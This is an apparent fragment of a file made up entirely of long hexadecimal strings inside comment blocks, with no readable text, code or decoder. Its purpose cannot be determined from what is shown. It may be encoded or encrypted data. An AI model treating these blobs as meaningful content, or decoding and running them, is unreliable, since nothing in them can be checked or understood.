9c86dc47be365fd0c95474d2776c5fe64d4826453465bd20d73f1b0771cac563d121a676ee535cefd8a0d47c1a1c20f1fca5e4cef50257ed9c43291cd4710972876a565ba9e061f3009724ebf9424e89b84775f1d26394e41cb0756bcadcef3ab2627dba0a1f969b16ae371ae0e6b7299b1379962277b281fb888005310c12fbdfc2364149d48d426159a9169c1cfbaf1c9cc2669e2a5e134413db4ccbf5fd3e698ab3cc3e51633c89833a9e499432751736058817281f43f79b5cf9c3ed80b1427cc520218db2dd9f17405857fedf327ed04aeb73040c1948ef4c69586e59268bc55e4101da7f206956b479481e10c4f6d00d82451a48dc9cd899291ef8d8189d237f2f5563420297b087ff47c3f65dde2d43016b2c976d019dd9dc87ef8ede3c570031946e3b125427d53fcc9776b41964523ce0567d13f7ac8f84059b4344cf5226a9db82e88c6a0411fd158cb3528d98f84a7c4cd56c3ee541cd41c1bd851b7fa569b720351dd114bae0c824ecf639c394408cdf5741f501d06f5bec023fa0a3122b784fcd88892461b671009615c75f050a9009a6bb8add498fafba66a1ff8c6c7c1be5f215c94babdfb0c55a64d3fb81e6495ab8233ce0a1e2c85f878689488d197500951410678e363a1893d593b8c907600fc123bfd5f957e62df2a5c3660b149ea9f757b1a8a200271b9920a49176ae9a53c62ee9e219aea9e784900e25eea391f6c1c404e2959e6a7b00e229dd6475a6e6078418c018df1268ddf73a92bb134cb8c1278aa92e2038849f0752f4f3509adb407467e180d572f6fb4decad06679eac68a21beb2649780f0c788d2bf67fc420e00c1a86d96af93159c3edcd8e126529ae69a89e4a3e10f51eaedf00072fce16c42bd7b7971240fc81ef39ad6508009e0082e3f7a817c2549109801bdfa4f304cdd184224dad3f0c930ebbe99b81c37e83c5d2988b68089e7dddc344513ba7e2defd74e143752f972914c53fd83fa7dee58513c47d4da816f6b8e142176a5eadbf3d6fdb9de8a7d83501a0cbe13cf56a690162e1acd3403c6b0d9da1ccb0658487375b217a859d1e43f5b9d34e568ac41c97d449df73f5b5eb12725c9957dcb8f062ce8a0ee241319d5df0b508f07d50ba7b03b0b9595f0f16d909b60b8bb26eec33ba36526ad6d5df1633d83af767bace78674a9b3668ff1aa5a01989cd7987dca88c1508981aeae6cba9c993e5edfd578c956f72fd187e2d0653ff681479b4b443e5c294e96a96d4ce47565b07d0355e39ef9c616a8b98098a3a53d5cac7257c6d8fb31b1dbc5218c7955425770112b529a40310de126548b2a150c4af48ab24e117b437a2b5803963b15a0fbb608b795090b8478416c6445a02cd1128266cfccda0a6407a09f976a34ddde7d6256963018ec87a0beac95ccfd1507b386319d888b7a0a3c6e044f2385113b2935b6b74c5d24bdf82e8aca3060442c260f6c7969fa947b26b3234015de239cce809a6bdc9918ba582cd140776cc04588f964e785b945e644d98a91c58543ca64d613037431bc6b6d0d902acab7e4dc4d74acca760666a1148881ac1b1388f47c6a05525a0a649bf6bb69d0fe3adea6969a2b5ce2e57df897737a6a1446020620a7369a9f9f57396724a4519e66a62162171e1aa77730a6680d7ada6da5e1a44535f5fdcf09db77e0eb4864f1cb5de7e4e2af96ab27acbcbb09b67e0a5c5b2e3cd4cbf423f2467bd0c81a8640d7e9b47031259dbe8b6ff3f991ab8d8bce609d7df23be83e69963eb2105981c5bd31dcfff437afe37b7f68c867ec9c4e4e57c26e59c2f0074129f8869ecf840a263ff20ff8f14374a1b06efd6972671dcd855c5ba2011403493ed4e7dbf09fcaf02cab6e3c80646df10fd135b0606861b1f70529a4f73ba03f0ff7e2369c0e8899a15d2d8a7f2b127be810e14d6f8aaef592358c73c0431546f34606007ea2b0f4da8cb0fe74fca28fafa8b2764*/
/*ea60abe400e7118d4d1d4b02827a602ebe948e87dfd0f6bf287654f8a385574214950eb26d515c4a957b02897e260776ec9147137ba907910e691725e5f893a73b72f58b7355f58eee92c61318b50df68f1bdad1f5182c2f3a22021ecb76de007ae9d2e60c1f6bcfc73aaff808a54ae937bc077ab85a4819f5789f6411378f4b5cdf2765b4d9be1cb750c825a1217680237b1f2b609190e62bfc7bf9658338961e11fd1682ab4be157af9bea30a236f8e8e447943d25bf8ef3de40bd04d841e11d4f872bbacb1ea233abf09ca09b4a6f2bd3dd35dbc5f9248a6163f43a0b1b9ac499e638f53a5cfdcb78709d04c9f732a731ef9cf4511f41861ecd09d2121266e2cb6d7504f84986c4b312c8acbdcace0c038b3b0701d7d19909c6f2cd098fbbe79cc4a0633dd0a0aa09f57c8e66bf4cd62724e20638b45b649711b9e5036d23d3e99b56709657a1f2a60f09fdb95ad2c335c7023983bdf8f948f7be021a351cb196b34bfb3fe317587d1fb1ace811aca02f1c2dd762c11eb8487239461cd14225ccfb35ad9d4576a581eecd87a7db0dc8b9bf651113388f82438a714617b20c379a2086aa6f1d00be0cd59cbb61bdad004b64688396ee8907028587fb98b9a11ea2c8de31358301cff81e3ded9951b8f13a7bc37bfcacd400d0441a039d8dd8a7e70f225523eb338baf188f24b417da6c7d9f27fc3029147d1c1b20653c78b0832ee1f88161af5754c62447e9579faec81f4a3ceaba35212c17b9712b1bf5d545ddfd9d2dd999a7c228dec581db8dc912f6adc262f7503e3ab5fc17b3942f60ca4ba6e0ad9f49979fb1227258fcb761dff0398cd80687b1179083d3fe9a51b4aadaa80ba6fbdecf35ac432e504089bdb7a3c7426b45061da72683a5c82d1d51dfb761a20cd4bd26150b3837670fa97b3cc62e0887903e00bbcf94e15684bdca9476067970976ab6dd2da894218e66b3e8e7ad15101d7be0a3f1eb9184bd4e5290e1b73599ff55ef199f05f23ef519812c1f2c8be6f3cac8c3ece9f77836385680a230e752b43f1f0388bc7516b9e15b6551064ce20b3cbd9d490349b4b0b9f65021435b91900f1a82015d853652fbc0b501475bd457738c809bd9a78361c0d4ad7e863830d4f75e7b9097aba137ce5d1bc2a924c76ae61cf7244172d58f4a7e6984cb869c39195ddb8738cd9a784a66c365a8447620eb46a58fdbf6241c9f5e2c13590d3553abe6f1cb8740cc17c04c77f3788c0037ef27515d57fcfb0ab5a03dd32c785f32a027a4aeca675fdf479acdd12bafb7a68b9d0ef34054d9f6e56102ac56e7f9f6fa79f461ffd6f72e2479f51a7e9a24623cfdb4a2253ecaef9468b2dc1f53e84aca3a2c7862fd986fa6b2a1ffd92283878b302d52be5575f2aca8d3aeab13ea58579f42e3ff4c69b97be6e24e491165afa8b00b801b1d1d6fa04b3a752c5f6fc1fc820b3394676ebd8acf121d1eca7cdf49131e0f714827f46985a22cc8ac1ce2cf0da0c69531250fd433974668c55065ca5feb9bd406a010e1d48c5b526437a7d161ed47b7d1c7654fa62b063b7850e29d579814e3101714108492d6a7494b26e1919033d51e4b1f19f23a4024acee49e83f32097f0a3f4211a7d41ce4d73d0b9c46ef55bf52efeec66f4d6d93c1d6bf5f7ca26e30fcdbeaafdc65028e52f8aadd432afa1ce32a77a2389700678668767929712a1ecce4ceb85f6562c58409d6cea7dd0eebcccb24d8cca7292ad56a2af587af41544f56f71ee2ae21d5c2aa2d18cc8b986e08950765a278a80093aa5c1287476fc74f0f53802b65b79b0b273643e6d2fad66b9371b0eb590a4ef96184f87dc0cbf62f0d4f6ee46aa8ccc41724ce38af58981e84e16d8b415ae0c3827f6cb66583ceab065018bb34d8b2b0d434c6a6aab497083494637e7c5a535d24bcb18a3b20c072f9992c0160dca7bd6b735a7179d87545d7d21aecdc3c8cae8aab92b4f3f3a3e12ed090616b10d0fb3800a88205f7121df0d4c25e26934141794902169104c366591cb0c191e2a2263983baa677ea096b4869dfe7ded89dfce0b5e16b62343f46d2b38f0eef5b802adea56a8cd4ee86e496a379fe992edbaf445e3d60385a5ff09f4aa2b46aadf006b36661ab2a5021122dcee9936fb447cc37430e126d5c0b89faa46ec85269cd848338d14e2560422d7316f3d2cea053e8af06ac1a25cdfe08df6d5dbcd1fe04e040e263f39a04b64168ad5a23bcba956db657425e1485e7551facff51c1036599db5392d49056351fdd6ce7f68169750a8bfb1d2fe5f488e42518f4e3e07d83117bce2e7f15fcf6f160583713955070390e0e3195dd0567da7a8b4806f3ac8de40f091b120a928d7c43c644a2866e6b71dcb43fbfb91feb6c4fd25cad522e31e707a37cf6034c88f5a978b62ce50c4b3da9344b0be6695ba29b29ff6f38548605a160ef1bac54bcc20f4f4816a0d33b04a1a3ce42c6828e3eac42ac0075097acc09f3605218e256b6493d7fb759d21521f88aa1377b9876b74d2c8b4cbaff1177e4c3b8dc1f76863551595304a3336bdbdb556998c8655759226d83d4c8e01f3ec15c4ccd0c0b075620bbbf4149319b93ae8bb1180aa42f79a825e113f94157c25c6b64dcdffa58ef0b63ebc66919b3dae1f07d378c3e700e536923701328c7d641d5049e0f5960d29f51473614bd12c825c2c4ee31b088b489a3df726b01e3788b27a3ebf34984f183dd29e26b97ac927c1f91f1431104861483fc4e7d846745bfe8d992d8694bae0a0b8769e47a0013012df1c58f8677eaf1ade742bbfa18db49dddd2e1be5858683feb50b*/
/*24f330c64ec5d17a330afa582a35f20e803e1badb6d2c514884e44e401c33774b573b81964be2cbc21fcd927dabb94a7b6342166a085c55af523399b00fb7f5a3363c39f48e94c9f5da9b96dd969a2dbe6c1bd0df16cd311c85574ec7737c0e85af2d929eb07ce03cd412e34df61df50d8902e778c4cf8110bc9bc61c7348ff793b861b6a7f2d2e9acaea865347a13cda1908e397451197f9927586ba74c5fadc6f782759eb984f7ff16b2e65ba498c62aa5670730b75c79cf6108e1659e7b9e736ec85897aae6a14cef1ea737f07e17eeb0f64fdaa0db902d0897b99fbae54ae23c8057504ec69d0f738c5c563e20b1a36c28857ac1b871d298062136f26edb0be3957a8ee9a08c4857dcaffdc47f4de5435c5c860bed337ad0ee6e8951abf3a738f0fbe2aba3983af1fc928ffaf91c8ea9dd00d4c26da8ca19fca6abe9f3dafe33d92f25c46b40b2841da9e0c737c9d71aa7ee2a5beb7a3849a1682566ae130fe6b6f71e133268b79dea1120b71930cff877ff0d3209350c99af80258ed5654ad67c4af497e4ebd6afa49305d9ef65f6ea5cf6237b8934869cc5303c84b352248cd7b77d66e22cc847a23f812b1f6a6d8c07495581ae229a5d086b45e808d80846a5a6e2139c23a67fe7ab5d22a3d9df0b6422d05e0ddc99bc81d2af51101fb8175f83fa2dfa6d2609c9c84d07aac2a96b03283013e9928e7a39e9d37d9533580820d999f5c6393249ded667e8d7adeed7a2caaf9dd415423ba9533ec3318dee20ac10260d7847f8761570c3367c31073044e880b84dccf04be53f82b4156856994340712e92b4899c32d96dfad76d6a42cf06e81443f4069eeabd49f2922b25d8453c401cc43ec7eb6b6efcb28d4dec499a94aa8d20fb8796d69f11024d1021d78eb6bc6b5c37d5c5a13b5706587dad55b781562e658ca8e3cbae299fa0b2ae9a76594bc4ea56045f89a99a7bf159e70b2ec4cf74d1f41e495a3e35b91b43124481bc7a22a4a93514c656290e2828a5a117bf652fc1326a17109d0ab48ec443b6d1482a19617ae238e7e66b7b1e854f29057e18b80888270f20e440d3d24ba09a8f2bd2c8c613d42323320b687dcbc849c6b569b566bc86236f0dccf2fff6ae7687c708d6917ed28837cc1a0296d9c48a7abb94a5f86d9bec53af1b118e117ebf49aa636b4374d09a65f3008028635d985ac5c5fb1cffd2af38e662572cb1fe3c2fbfafca2fb153445dc1b00294320c7b07299f3507579ae1840fd69893542749c3c4bf4817911242876dd02ff7899c36c8ee6c99482d5642da9073fccc7b115d1c58b4b74b69a774f95422258105b3089499ae135f02924d19aa833a5763aaa807ec32ef3800857220e0f4cc352743c1014771fad732ef33176ae8224da555c6eabae92d5e8f7f5c5224e9533b395a12ab5660df5f9f4b2794653823a27cfa40012f9b1517c827a45e9c7d285e23981e47383482365ada82c2e04665137a3df89baa11b80525142c7d1b21290ff7c718afbbd532e4494576b36f4413e4f0a8304e7a3d0f67e90aaf4f7ec8c02555740d7c988a0d19678ff9033102028e28bf843b3c7e660b3c349d1a59fb1c42656766633ddb9f71838779ee6675f8d77293311da18ac8132266042731afe3d9de82956fffe2774d9b816cb38f7c895edbf972b655661a6bc97a15a19d0fb789e392a48fb5b11f8e48a4d88c2b67b25c63cdf08171fbcc2a35502d0b1474318c60a0a657d3d149de7372261ee79bb6a4ffdc65553140b1e590f25149e8e6b4de6967a2053ecd8dcbddbe9567495a0cf013bf3fc1ebca091229602b9ebb23fec1e931423f27cb8501c23390a01ecf64e4d48659cfa3c5ef86d209ed5aa84e970df95b4d7ca91cd8abfbadbaa70a1974136fb56b8ac1d6e9f01853e4ed576037fbafabe4ee65e65effccb329efc5b243783583e4908a69715182811c12e67f787adf27246baff875eaae7ca6017b2fc7c1226c309964e339420bda091ba1cb550e78ad442a3443fdb20b1c898e43c0028ac64018d6af043beaaced33de25066ce3ccfaf29fadf823167b5c8bd06f4e95bdaf86bb85241206eb80fabf0db3dda31bb9d361b1def067946ec49f82779c49cd9b7b3dbfdf97a6901b9f7ad0ad04c5f40879820a4ab33f233734b989581633008aa4b7dcf4b026b5c8ca884cf28ec03d317775f956d22f41fed4c0e2ce8906171bcbc16d045e16ea9e708a2f49c86cbb4ea184c48eb69af5ee1f843160f66c9db18f9487ebaed0e32cd0723e40f60a85601ebd8f02bb4c7e2783716cd5474c519fe02bfbe6c12af58f305477d091956642c4c3c1e17a47b3319e6dc970db117c273c9bef58c09b4cfac52125d334b3e7d28bda7be5ae2f184b904f107001d3c0ee3d95b4d0ff31f68f87c07e373f896c8f8f894f87cb44de0b2704577f3df6ed0f8bbd7e48a389137875aba52a3f57d1bf88cedbd590cd4ad5af25bb379e98db597730b8c4a6e1f3e5f4595564d789641a81c427543dc5a2ed31c4329e66f1820c166111f7cb4cc2741880c79012172c4cc9fecf8f206df3ad8baf44e1f14ad81f07a416fecf93458914a905094133f5217c4f4debf2a526b9b98ac5dc2f3b56b0aeca08adc05a309bc7eb91f543b7de4408a3d63c8e9d2391dd7bd286b1069a0ed64d6eec9ea90d13dee1cb04ff3b20e323ea46d19d72b9ea28f4cf7aaaf2257c9aa5ba6758495e5e940e1c6d7adf34bfff9763bb16a2d9179ceebc04a4a7b141b583d2a5b98bb9c23dec1436fd85d9f6fa6043b2af35ec321967ae93946ce6d8eea020bd3fc73cae21b6e3cb6fd9469b*/
/*8ae2c307391f25619a0566a9ba7e62d818cd90ba7431006e2daac4bce3edf39ce0713bbce407723f999ceab3d2aa0aa4a51a02f7c72be1fcece05065e064c6ed89c0d9595fe1b285273aa0f6f73b56f3a7c41908cc8ec49194c6bce8618d9aa40e5a943aadaf0f22feb5edb9ff99dc68194e59d0d467e47f1e4da48272f530c092d5eef08c6efc55bbc7fcb826227a4281e2b6e6f890ba32562f2ee95ff46353aed8fe6a1c49a16189ebf6e1f54cc4a945da9dc34ef2fb20f48703692a737da7dde37bdb374b8e04b8178adf26031a9f4c2a1bbd0ad6b18c22a33385d2f47a2b578247ab6cd18187a24847711d403075818b93be8e6e4e4978b9b2987282200deb396a013ba89c1dd5e845f07181df5834ca2afdd4376c92ba1fbe36226f1632d81187bb36fa1345bcf6efdac853e81382252ea2c2df24cc3d3202d2930bcdf0df5e936751876401495d3d9e0170506751acfcd80fb8990c68b0a3b9064d81bde2bccc78bbbf62e3b6f14af62ef5c0ba848d04d9f5595659e31114670fd87627ac8eddffa6bf69aaf983ea82deb20c68647ada5608796472fc90f959f7eed149294bb0da679965b431fa1b7382f5488da31c6ede4b7873e70a935c40934d8f1955d2e5e56cd3b7eaaf88b1ee89fcab28a150ff2c96ba669ef3a1af07f53e291a162288de1b88780e7014e59d128cb6697c268a7d746298186f2662d43d19225670f9ff24badaecb68f7e15618537e3f845a8bfbff493f40f0277cc8f145384fda6f5b0334c45831bfd631cbc18adf6cbbd1ee315ec8f5fc4d5c0ab685412ab6ffd960c54ddccb23324b76d4391bc101baa8a15ee7b658714f0876e1bad96c4196cd3889446d881afbbe832a12115ee08e99703be40b85b1cdd73600c5ffee160d6a0cec8e27b17cc8e8c4d7ac3d51334da5af0104f7da7a090772a3cccc9d6f0d12cd60ac03d6cc3af0a892da8bc18aed3342c1072f39e3126f1ca23269ce331e4ec4adac7b0180c5108c2d18680a430bb74e76707725e3ae0f856c6b9b28ba9d7e6e7b983e79202dfdcebad956e4989a6e1281f461db5eec5b1ea5e530f733b03356f1b29866219fd58dc55ca5c1434277b8f1ec04235fc831a963ee4260e70628c8ed512f56ed3ebde300e824190b6eb2588ab87bae9727a47a81d5c8b827bd219dcbae99974f2837bbeb2cb44b733a1bbe514ed94ef18d3da3649ab75c2309a56d2798a01b00644f9f2dc4e1dc9d5bd48c3345753330c4a1d7ca71bd61a1f950e4022501ffc03945ba58c5d10f709eb149bf592060a8a7a1ab3bd3514c4772e0658aeecbbf8a8a21082e36782ad2830df9b2dcd3599c8b4807391c719ae14537ed16ce3f8f0cf2a93c500850e5d69aa905c801ff1641ee906e5c3bea9dcaa03f9c7c7864abcb339f39a83d5c5e6643c60d04c6a390c0f0bfcb7f5e9e13fbb88dd6a165f31691a9207d3d510d78dad15ebfcd76dbae8560b58a9c6e070f115b7b432dc7cc232d0cb5255f36e5c760b1af21b0b57199d2b1f49e2ec672c890c29c64fdc8d0cc15ad95edbdfa1f3540c9506673c100545193160c2f91d5d73f1a86d60e60c0f276c8152577ee318da3bdb954ed9f84c480b55e3af94b3ff575148dea57364985366feec88f436253fabc3ce91ad1e582e40f3563a6ef286455cfb4a9d5f34d179d8bf3c2dd8ca3c7d0faa38550e92109690f6ca3e614a905c9f280e6e23b242efa82a06118a7948e22d8df2a91a839e6a542557180ced4ed2948d5641ce74b1a9f2febd219dd096bc1381d243827f6ff96a507ed6f313b310660c3ea81583c15303798e5613ec88316e15b80c952db8a2989bf8041627957ae0ff10d9b4a78a7b88ea7f1dfe1344244b33b4f7f021bcd3d6a2c3c8b0e07c58d80080da000f46b08c8dc16f7c1f7e4d028adea1dacb883a2bb277829de32a53d9a41589c51c94ce435d854f54af74e3d2f8dbe1b99e96c583a43b7164b778aaa8cf58964f65fccd517cdc2e395f94e728054d0ceab8ae585acb271356ce8d277617b64dde13f6ed94d5aea8693c9e0e824452666287cd7de1dbb4e43f90702d182d99f0fa3f21c161f4a77ae3bef15660a9011a97e62667a99476ab97f2e779bfca853e34990816dda5e915fa855c354d35dacacd57b38fd4126d220d2c3f4c159590f4b5923cc8c7fa8eaf15084ed1996f15ac0cd8204b104f586bd67e812b39a2720f5cb33979e0065d551417aa2d660a6aa2fbbe86a08dc1f9fcd0c15b9f5b42ca83a195271ed56f3fecfae06b71a26c4dcabeca9131e98ab14b7f9acd50b195c725ca3faaa36c8d122673e80dd7d8a3a573edd3230ba93b6457b407e1910e8cefa132f32688733ece30a145c2eabbdacf57c19956fdaf7f4abb8c9c6ba5d8ed393f2364f97f12ec91140456f61b00ce20e34cdfa6392eb19728733a29f27f6a4fdb382aee44beacf4a62065cce5cecc420887daab7c5d0b3658b95ea06bccb54e151fa31b25f193e161aeaa1621236f053107060eabf265210f95f23eec5c97d4e1a363a022a5d80d9725f5535af2860d9615208edc80aab89061d7e075380bbd31671d8fd5a56907d4625db7be1226690f5e639c4ad2fbc2443df5abd227cc434f8ee1e9526ff5ae5de4575c25905b4a4094570866a54cdc8643e60b68c2dab373b924fab5cdd64c1b31920a413e00a1d39046843bf3ed79b775a551e3c2812edf92c170acbb965a11cdc44c60c3ed46cc30f0ff5915fa01e952fc2492c6cfb2fdba2bf15a826f3ec5654aa35e98b4d8d8c971037c60074fccb6fe703b06472db5541696c34d6471d4183b656b9e*/
/*8a9f1ae2a015d43f475cfdf2e631cf21840cd1dc825a66df579c577a314087572626403d85eb99a6276bbfaf25c182a9b4ea88d2d2ab3026209e8b16e7cb4e5ce7c21a9a78a8b4306ec820a45e3c924d5c08b3b588d7d72b86f3e4ee40f5a019074590853d6bfc46c3f1d7ebd46cb3d7a115341a226804e2c600d8514e518bf7c1c2a8b3574ce130a8bbcd4bb67690e05b86db1b036908b582cc2cb895e0d53871d646af67a00c2af2d397287b7a84eb2c275d77d1505245d67ff93be87c6590e3b4cd28e4f1e55f3d2b17a0892c0c00c644255ca66e56676686e847d40467ed4aa4f1cb7ae29e821880e4d878a35a9fb40f2bf277f940ba2f8d192867f7db74adcd9f2c9542e4a059adabe1b30acdc7dd3ff6018f9f56239d8a5dc65b4425d5e82d0a8a49dc8cbdad315cd27f2972436bd6e15d3358c3e1661e50cf4f158de79439afc19672bf4b4e55d9c9b20d81a915a1ccc71ff70dd0e220f51df443d562fbead2d25fc0520a453e6132b4ee2d9a8452d535e0d7a24755422d9838ffcc1692416ea47a6df98d0d16ed6dcc88aa8160d21d2f1a20d09d530f71978815ca1fc70b55dde4acf0619c50af8df6a61dcc5135ba21ae04a211319bb98cfd310aba98a8d6cfa74970a3cbdbb1c89918226d194f140b68c0413579ed9fb4bab6ef866360ad936dea027a2db23a670f4634320672f1cf05a01368a92906d1fda5720fa2c138d34a03aca5c9275e7b33fd345a9dc7250151819837f4211ff58349b7be3f87210f9519eca6f3ee6d5bcd24e1d2255550e8e521094c94641fca43fef284a71e476faf4ee3cb296546987be602411b596fa77c2e20f928040622818156e354d4920294bae2c65627f1c81a907b2a76e37527094fbbe8d4a04d0ca15977c9cd0de38e60a6bdad77cbddbc4e61c7a879b65a28112cdbd9e20e2ea6c1d569ec2185bb72f8dac6e7f3f4dc24bb13af7309d0c7c7c8ee636a2f5bb7d9f8ad377c1d8b09d85de3c9ee3aa69e6e813c32780b054d6639af9a3ae62ccb8af8519035cf05ce8ff94615329562e34add6f5a5992ff6199087a4dc28382b24019d05b1f790dcb56130b2637839dde93fcf530a816152a1633995fb05dd446578c289cdbb12da6a6c5f33124dff3e13954598c6132d658bf07a61f2c4949ba04dac704c5e99d3614990766d5d318d83f71cdf32e183726e3374a07c36ccb98e7c68f514678f466a2375c38a442645e2b3d084e5ce5ceb119149d6d0b705e1d52f38a1dbfbbe69e890a5520d2c477d4922dd1fe37f23229305bb969f278c88c5c9a26271f27c048b3714d3e952c05f4e616ae1215574f0be9b9745d9db82ca113b5ef61e55fe7d9d168ed07631050f7972b52a2a8d85478c3fd6f45d68110e2dc78715f3e17be906d994ea528b403ea6dc0e9dd38b432a49ca2c3aa9c4c469a877de4e389a3b1b884367a64e95b35b5c70a76b5b6774506284e314c6e0ae2e320a16bcacbf4fa709e04abdefaec6c440109ab9bc4617555adf516e78fa57cda5a5a844bf94dc8c51373cc2fe9caf230a31117377f3402e067e40a620643d4023861bdce7d3d16924a49d1843e30ac54c247d78f6c2f0e7a684fc247f7ba49bb505c3f0b8340c6ca6dd07dc6e8f43d85e6c22d84178a6f871ca10ba2222a45afd06f35611dc4e9d4038fb260d449b33e6d443914b67d4b2b073fe10e82e28100dedd81ee2d4c7cc87c51e6f0247ff7660308eeb3d6c0e84cef0267f19a378166b3874dd01ab01ff4ca0662409c4b92a8ba62c3e1b383308671d6fff63d3e508c0290d263c511c26f07076010b976bf5f3e61497e7a452895f3820fd554da03a516a2fd475066a79905f0070c6b0705fb55434734adb3e194ce7bffcb796144e5478b82df1fcab00835c7e886cad69852969cfa3bedbe310ed8cb605c6db9e609e7598726b1377de8a95ccff90efb98fc6ab3f1ba3a508cd569f873eb63e00e2674ba5d84bceab1601c802bf45734076c5072c401a5a2b814906aec76214765bacb5e26a56932ca1c82ed6a2f3c07abba4517aff182f81ea642dea0f9e2f8a9c5f38d7e13a9034889593fc43b7ea9fce23d29f7f5fa2b738fde6985b5bb18926eb9408d938cb42c2e81f6f748d0bc3ecc70af2f3a14eeb7d1652880f9b052d1bc4fcc15a5489c01ae8309984c6d51c6f81128b8bb73c6bd7bb8c0230b7cf77db1e2869ec2fba1235d25f29b59c8139e0c84b5facae768ddd72800125de4953faf4eb7cfefb95da533bde2bb5d233cf186256c42a6e41aed9425b18c058e747134500112440a29471b542d846326c15623e5db97fb385df8918f6a9874a1e3b7328ea07579c21aa0c3fee733d38c6893cb0185893ec12b3207dc78684b815ce84d4f18f555f6e44f3edb959cf849bdfde47f8bec1d172ad8d69917f24d88cfba91f3afe61c0032b6fa0af98f105ce6d1e4962e4963ac32a48cc24052ea137ec0e3f9ac17bea737c2a4e28cc90bbbfb262a41a18e2c052bfedf8ab7fbb4ca0a50255c03d3e90e190caeee3f57e8ac8a4fafb8d9e51aa53d58ef902aae831b27afde60544831c5683eca9b7b9a6494a9ac8d1311dfe3527feba76f90a7e5cea962fca739b79a234c1b7898777761a4dc4003c85d18383f0b6d572dbf6b75dcd51fd6821e9c77507e637575e9882ee69f11fa1b3c7d52ea1c74c9151a4e7f3484c7c2bcab8f740b7a0af96ab8d9d27a8b5094b8b3c2c411244aa872cbef7860839b2e1fba940fb1b9d2337e0a483aac0213f6750bdcda819267d61ed6dc53207b27eb865c12f39f7a6e3a06c98c638c6399fe0d8f2f5328*/
/*6161c5cb9e180cc87cf952b04165c18b84c33a52c31ac8a1dde040a0d22c4efc30b275daac17b14978b2ef72cfa714a44aecbc3cc96536b56b00fa34f7cc8cf8e8ebd2c55eb2105c8006f043d9f7a32f04fd2ccff31b0cf1ddd22bce5804477f43ac2e87450a690d2f24dcaad609423a398567cb60aaf6fcafb274dc538d2684fdc2b2970f10d15b33aea6a8977f4a107114a78951788e2e007c05f8d9767a28156129ecb0420c15ac4e0d204e95862581377bab99f1fd3340749aaa3c99954a4c408db85c536ee741795607f3eec9e87714977ea672ab3c6a41120216334881f54dbb514a7bdca731b5a8ac1e51d3981862d54644b1c563c363b7c0f12dc45ced82d7a29112a5f05d042d14df8e9ff4b15d3f8cfdf863819296be16947617c0cf49a1f00907f9bfef777c031bb5ce4ef75000d8e2c16e414d8c8244cfb48d269e87581250d93eae31d35ab52fd3733ba2007d3a2814804bad0fb4bb4a7863b9deff7a629b7b5a70903b2c8cf08d6a47b31a006319a1117c96f5e556283725c7f70ade5ef207a9cf7f6f61c89ca31caa823f4aa9a7af5bf3902149ec71d50ab753dd895f9bf6a4abb676e952b8c822ccf04bae454fdb8caf757c464218ae38d4eaf0d819549668ab8caff87e9276b768331e83fb0dbaa468d7fdfd52ccd417d98ab3cd379b33c98f6f6864e5cad44ffd12a69b77124180e847acdf707e244e2a9671d26dc4bbe4f08560c95bae0d019fd93f20c915a1e7cf51918121a671094ac67536a12872dfa46277eef4b3cda1e3b8f13123d2af6ecd948cac1d834a35581b73bd3f9f009d3a24f8dec1d43fce320fd12e2dc0c49431b8637fdba995339ba7929f25a0c8e54829c5168852d363db92b981988295ceacb3b70e05f1abebecd558c40ac394f69970c0daca5e9a57d65723732ef16fc1ed0c5b712d16245d949b884a8ab3012945d6ca626edb62dd663c37fcf9a312e11aad1f1e9482c031773e72c8ab053faf7cd4cad81a1d122f18824000b8d42e17c12204df8915ae8265a1b2f51718f78d267b67cc687bf51be176f2116ac14dc1fb07f0892834c0f70a84e312b8613675a2fdc67e7d76e4d6038160ec598ef005aeb0dedc0e0bc20fbd316eaeff4dab312f57ce9d73f621b9dd51b15b246f4667aa0dfc06623050690a697d657846c7564a596e5e501396cf30498897f9487a05b95edf007f713d676a1d768d902c5ab80efdfebb51a1029c9ed779df256f5d238a48a6597287f87b037e989a2628edd57ab9064ab28356147c1ab268f5cbee7f283cc3dbdeb29dc72c4c4f4a9cafd02a66ef2f1cdbda878f470374da1fd68dcff7d444ed1dbdaf21e9af1f94dd4153ef2ea54cd8972690b644596f9a70ebc97427a0fb6c002fd8bdd28677ef04b158d519270c08d9111fa7244a767be1dfa6a1a1b72d8a48dd4974bf8118dd3f58ade9b93be3d0685d82767b2bd370f7f3d9cb3af265ef0f96052ed5359f2d1e9bdc8dba2daab3870835164f715ddbe205333946c9fd17cb2287b03fffb275269620ab6634deff581755eab681d68b015090222ab4e965dc3bfdd100d6c6dfc3233037eb71accf481a80a94c52d8c09085b19d09db089ac6f9c44571a81eadbd3d2936176223d83e9df3528589630f221e24e7255452ff1038d44099eac8d2a28483239fc00d0aaf9ee04128a30745dbd67ec4fd0df74853233786e61b432e236cd5306830c9bcad805b38ae786f8218607c1c5798bb7caeb772941763336e44eb2eaa0ccc34cf7d9d789d2a1ba3b416b85124aefe840f5a5dbf55c8967edcf1e5415f5bcd72f44e5c7326c688b0efb76b675a6c0fc04422c21257a70f6b83456f1276ec72b9de61f04f719ce6b7d065196ebecd046a14933816c2092637a9ee6906525b64d8d1d178d133224f7417970e26736f295c389adb1f2cd25f1b378593c9584d3900a5e67f1bae0afa20eaba443ca5bac53c88021503bddf115ec03106c4e04c3393c1455c7065bec8dcd6995eaf7ff886cc97df3229bec822632c13d2dabfd8200ba9dfd093fe30393943dd08615853fcb03da330af5d3dd4eb0f380342baf959e0ee28f00d05fe969e7861fd5bef6e768cd060f681350dba264a0b563ce3a50d4ea76a1135aaab7175ce434d2809f4d21b53a2904d2db7be190384f8e6bcfeb3302452f302d766e93e20fe34f0b5da70123b964bb9e969c0c951fd93b967074f608e82b53150942a9e6df2bd1bf6d03f581f07dbf02e8cfea91020a701a21bac8a10dd1d8b7e3ba516885be895cde807ac27381a6da42dfd602f74190e0ebff6e1ef56084003ca47bb1ca178a43ebeb33cd8051b64d3bace07b3df37334e475cff7b5c15c3b737acc4bb10e4ecd5b36ddb93461df1c986b6f6cb0b9bf1bd92ade14714d6781b879b16113a436fe479bb70f24cfa12a24d726f48aa820edefb46b23cdd9bbfc1ff05cd413596cc262b8e01e1c1018fe52adcfc01d1ed4623546ec444530f140152e9c0fe90659944acb7cd0a9c82806a9ef180fac0577b97289e304e88ae3af5fff04cd3aa9a70e670f8fc58780425d2eb3c16a6b93439aa21f33591aafbc6a3a70148492870bed270664e495484f839d106130fedfc2ae29b0df2d122a46a5d61397c2433b13e299cba8e1343b420eec65b10eecbb953cb464a6ec97a660a46e02f18acbae00c41c018e889917aff4e2fb5b906b689e270f69ffb8383c2446d07a87490cbafb2ffc170659be29a15e8a87823a23ad3c76ef10e5abc2789d1e28ea20491a6b34f7765c3587076010ea94391bdf0fbaf81f5f511d37f62cab1646f*/
